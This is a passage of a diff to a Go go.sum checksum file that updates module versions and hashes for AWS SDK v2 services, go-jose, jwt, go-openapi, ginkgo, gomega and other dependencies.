github.com/aws/aws-sdk-go-v2/service/kinesis v1.43.5 h1:LxgRVyuY+5DEPSX7kmin/V7toE8MWZ9U8n2dqRtX+RE=
|
||||
github.com/aws/aws-sdk-go-v2/service/kinesis v1.43.5/go.mod h1:eUebEBEqVfOwEyDDDbGauH4PNqDCuepRvTaNbJeWr5w=
|
||||
github.com/aws/aws-sdk-go-v2/service/kms v1.49.4 h1:2gom8MohxN0SnhHZBYAC4S8jHG+ENEnXjyJ5xKe3vLc=
|
||||
github.com/aws/aws-sdk-go-v2/service/kms v1.49.4/go.mod h1:HO31s0qt0lso/ADvZQyzKs8js/ku0fMHsfyXW8OPVYc=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.87.0 h1:E5UXxF3vK3JuViwKCHfTJBIiFjvE4aytSucZjI2UAlQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.87.0/go.mod h1:6f64Y1BEf6e1uCI+LtGbcZSKDK1GvgJ+iI4vP/bbE8s=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.88.5 h1:HWN7xwaV7Zwrn3Jlauio4u4aTMFgRzG2fblHWQeir/k=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.88.5/go.mod h1:6HBXRyFFqOw+ALkJ6YGHfrr20/YXYv6X9pcZErXRvCA=
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.50.10 h1:MQuZZ6Tq1qQabPlkVxrCMdyVl70Ogl4AERZKo+y9Wzo=
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.50.10/go.mod h1:U5C3JME1ibKESmpzBAqlRpTYZfVbTqrb5ICJm+sVVd8=
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.34.14 h1:mqy/sNV+hiOfa5/GVyAD3Ru25M9ZRmnJrupwTbnbjLA=
|
||||
@@ -226,14 +248,18 @@ github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.5 h1:0jwTqyy
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.5/go.mod h1:ydy76wx7I+HsqhlEo0vhVTl785TDNbpgtEXhd3i4ZTc=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.62.0 h1:80pDB3Tpmb2RCSZORrK9/3iQxsd+w6vSzVqpT1FGiwE=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.62.0/go.mod h1:6EZUGGNLPLh5Unt30uEoA+KQcByERfXIkax9qrc80nA=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.93.2 h1:U3ygWUhCpiSPYSHOrRhb3gOl9T5Y3kB8k5Vjs//57bE=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.93.2/go.mod h1:79S2BdqCJpScXZA2y+cpZuocWsjGjJINyXnOsf5DTz8=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53resolver v1.42.6 h1:jS1uZQ2G4DumllnT342TwUjtzz44kiyeQ+QM2PZGc9o=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53resolver v1.42.6/go.mod h1:27vQn1Pqnz6I/J1vjp45O9Ig/c815ovG00355C9Y+00=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.97.3 h1:HwxWTbTrIHm5qY+CAEur0s/figc3qwvLWsNkF4RPToo=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.97.3/go.mod h1:uoA43SdFwacedBfSgfFSjjCvYe8aYBS7EnU5GZ/YKMM=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.228.2 h1:96uJoMTjZ6WdXD0+bCjQib+U42++cYrf4fXbiu7VpEY=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.228.2/go.mod h1:6TLogKvr0gKvi3GDJd6rZQ9uVl/fkXgCkWUuVD4EdLI=
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.41.0 h1:vL6rQXcGtFv9q/9eRPdI+lL+dvTm7xKGZYSHEvmrpDk=
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.41.0/go.mod h1:QwEDLD+7EukuEUnbWtiNE8LhgvvmhjZoi4XAppYPtyc=
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.40.5 h1:nhPlRp9oCZOh1M/4zVn4pqguzEJ3Q3emnyS9k8sW8u8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.40.5/go.mod h1:dfVRuB5XudlLMY6PVMu4T2lmfXYMARapmdc2/cUN2Mw=
|
||||
github.com/aws/aws-sdk-go-v2/service/signer v1.32.6 h1:ccmmr4gLKThEHgZmcHQzIf9NR/wisat7M/JIA4M04Uw=
|
||||
github.com/aws/aws-sdk-go-v2/service/signer v1.32.6/go.mod h1:Um9nzST5C8IF1I96c1R16FAYCSFhZWSxKIl+jngpH3k=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.4 h1:HpI7aMmJ+mm1wkSHIA2t5EaFFv5EFYXePW30p1EIrbQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/signin v1.0.4/go.mod h1:C5RdGMYGlfM0gYq/tifqgn4EbyX99V15P2V3R+VHbQU=
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.39.10 h1:wqErrLzV3iERQ7dbZbKQS0gOM6ngxZtmPwKyRGn+Krc=
|
||||
@@ -248,8 +274,8 @@ github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.12 h1:AHDr0DaHIAo8c9t1emrzAlV
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.12/go.mod h1:GQ73XawFFiWxyWXMHWfhiomvP3tXtdNar/fi8z18sx0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.5 h1:SciGFVNZ4mHdm7gpD1dgZYnCuVdX1s+lFTg4+4DOy70=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.5/go.mod h1:iW40X4QBmUxdP+fZNOpfmkdMZqsovezbAeO+Ubiv2pk=
|
||||
github.com/aws/smithy-go v1.24.0 h1:LpilSUItNPFr1eY85RYgTIg5eIEPtvFbskaFcmmIUnk=
|
||||
github.com/aws/smithy-go v1.24.0/go.mod h1:LEj2LM3rBRQJxPZTB4KuzZkaZYnZPnvgIhb4pu07mx0=
|
||||
github.com/aws/smithy-go v1.25.0 h1:Sz/XJ64rwuiKtB6j98nDIPyYrV1nVNJ4YU74gttcl5U=
|
||||
github.com/aws/smithy-go v1.25.0/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc=
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
|
||||
github.com/aymanbagabas/go-udiff v0.2.0 h1:TK0fH4MteXUDspT88n8CKzvK0X9O2xu9yQjWpi6yML8=
|
||||
@@ -288,6 +314,7 @@ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGX
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
|
||||
@@ -296,6 +323,8 @@ github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi
|
||||
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
|
||||
github.com/dominikbraun/graph v0.23.0 h1:TdZB4pPqCLFxYhdyMFb1TBdFxp8XLcJfTTBQucVPgCo=
|
||||
github.com/dominikbraun/graph v0.23.0/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
|
||||
github.com/emicklei/go-restful/v3 v3.12.2 h1:DhwDP0vY3k8ZzE0RunuJy8GhNpPL6zqLkDf9B/a0/xU=
|
||||
github.com/emicklei/go-restful/v3 v3.12.2/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -314,8 +343,10 @@ github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg=
|
||||
github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U=
|
||||
github.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs=
|
||||
github.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
|
||||
github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM=
|
||||
github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ=
|
||||
github.com/go-jose/go-jose/v4 v4.1.4 h1:moDMcTHmvE6Groj34emNPLs/qtYXRVcd6S7NHbHz3kA=
|
||||
github.com/go-jose/go-jose/v4 v4.1.4/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
@@ -323,10 +354,20 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-openapi/errors v0.22.5 h1:Yfv4O/PRYpNF3BNmVkEizcHb3uLVVsrDt3LNdgAKRY4=
|
||||
github.com/go-openapi/errors v0.22.5/go.mod h1:z9S8ASTUqx7+CP1Q8dD8ewGH/1JWFFLX/2PmAYNQLgk=
|
||||
github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs=
|
||||
github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ=
|
||||
github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY=
|
||||
github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE=
|
||||
github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k=
|
||||
github.com/go-openapi/strfmt v0.25.0 h1:7R0RX7mbKLa9EYCTHRcCuIPcaqlyQiWNPTXwClK0saQ=
|
||||
github.com/go-openapi/strfmt v0.25.0/go.mod h1:nNXct7OzbwrMY9+5tLX4I21pzcmE6ccMGXl3jFdPfn8=
|
||||
github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14=
|
||||
github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE=
|
||||
github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ=
|
||||
github.com/go-openapi/testify/v2 v2.0.2 h1:X999g3jeLcoY8qctY/c/Z8iBHTbwLz7R2WXd6Ub6wls=
|
||||
github.com/go-openapi/testify/v2 v2.0.2/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||
@@ -336,8 +377,8 @@ github.com/golang-jwt/jwt/v4 v4.2.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzw
|
||||
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
@@ -356,6 +397,8 @@ github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/google/flatbuffers v25.9.23+incompatible h1:rGZKv+wOb6QPzIdkM2KxhBZCDrA0DeN6DNmRDrqIsQU=
|
||||
github.com/google/flatbuffers v25.9.23+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8=
|
||||
github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo=
|
||||
github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
@@ -364,8 +407,11 @@ github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc=
|
||||
github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0=
|
||||
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8=
|
||||
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
|
||||
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -379,14 +425,21 @@ github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible h1:CGs8AVhEKg/n9YbUenWmNStRW2PHJzaeDodcfvRAbIo=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible/go.mod h1:XemHduiw8R651AF9Pt4FwCTKeG3oo7hrHJAoznj9nag=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/keybase/go-keychain v0.0.1 h1:way+bWYa6lDppZoZcgMbYsvC7GxljxrskdNInRtuthU=
|
||||
github.com/keybase/go-keychain v0.0.1/go.mod h1:PdEILRW3i9D8JcdM+FmY6RwkHGnhHxXwkPPMeUgOK1k=
|
||||
github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=
|
||||
github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
@@ -395,6 +448,8 @@ github.com/kyokomi/emoji v2.2.4+incompatible h1:np0woGKwx9LiHAQmwZx79Oc0rHpNw3o+
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible/go.mod h1:mZ6aGCD7yk8j6QY6KICwnZ2pxoszVseX1DNoGtU2tBA=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
|
||||
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
@@ -405,16 +460,28 @@ github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byF
|
||||
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee h1:W5t00kpgFdJifH4BDsTlE89Zl93FEloxaWZfGcifgq8=
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
|
||||
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
|
||||
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
|
||||
github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
|
||||
github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
||||
github.com/neo4j/neo4j-go-driver/v5 v5.28.4 h1:7toxehVcYkZbyxV4W3Ib9VcnyRBQPucF+VwNNmtSXi4=
|
||||
github.com/neo4j/neo4j-go-driver/v5 v5.28.4/go.mod h1:Vff8OwT7QpLm7L2yYr85XNWe9Rbqlbeb9asNXJTHO4k=
|
||||
github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/onsi/ginkgo/v2 v2.27.2 h1:LzwLj0b89qtIy6SSASkzlNvX6WktqurSHwkk2ipF/Ns=
|
||||
github.com/onsi/ginkgo/v2 v2.27.2/go.mod h1:ArE1D/XhNXBXCBkKOLkbsb2c81dQHCRcF5zwn/ykDRo=
|
||||
github.com/onsi/gomega v1.38.2 h1:eZCjf2xjZAqe+LeWvKb5weQ+NcPwX84kqJ0cZNxok2A=
|
||||
github.com/onsi/gomega v1.38.2/go.mod h1:W2MJcYxRGV63b418Ai34Ud0hEdTVXq9NW9+Sx6uXf3k=
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc=
|
||||
github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ=
|
||||
github.com/pierrec/lz4/v4 v4.1.22 h1:cKFw6uJDK+/gfw5BcDL0JL5aBsAFdsIT18eRtLj7VIU=
|
||||
@@ -446,6 +513,8 @@ github.com/spiffe/go-spiffe/v2 v2.6.0/go.mod h1:gm2SeUoMZEtpnzPNs2Csc0D/gX33k1xI
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
|
||||
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||
